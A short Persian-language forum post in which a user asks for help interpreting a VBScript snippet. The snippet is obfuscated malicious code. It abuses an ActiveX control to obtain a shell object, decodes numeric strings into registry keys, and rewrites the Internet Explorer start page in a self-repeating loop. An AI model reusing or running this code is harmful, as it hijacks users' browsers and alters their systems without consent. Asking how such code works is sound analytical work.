تفسیر یک نمونه کد

[microsoftsat]

با سلام


دوستان اگر در تفسیر کد زیر بنده رو راهنمایی نمایند ممنون خواهم بود.




Function AxClip()
Set axclip_sub_ir = document.createElement("object")
axclip_sub_ir.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set jjhacker = axclip_sub_ir.createobject("wscript.shell","")
hr="09208307907008408706508206909207710509911411111511 11021160920731101161011141101011160320691201121081 11114101114092077097105110092083116097114116032080 097103101"
re1="07207506908909507607906706507609507706506707207307 8069"
re2="07207506908909506708508208206907808409508508306908 2"
For axclip = 1 To Len(hr) Step 3
hr2=hr2 & chr(mid(hr,axclip,3))
next
For axclip = 1 To Len(re1) Step 3
re1_b=re1_b & chr(mid(re1,axclip,3))
next
For axclip = 1 To Len(re2) Step 3
re2_b=re2_b & chr(mid(re2,axclip,3))
next
jjhacker.regwrite re1_b & hr2,axclip_name
jjhacker.regwrite re2_b & hr2,axclip_name
AxClip=SetTimeOut("axclip", (pars20*1), "VBScript")
MsgBox now()
end Function
AxClip


(اشتباها این سوال رو در بخشی غیر مرتبط نیز مطرح کرده بودم و پاسخی نگرفتم.)
سربلند باشید.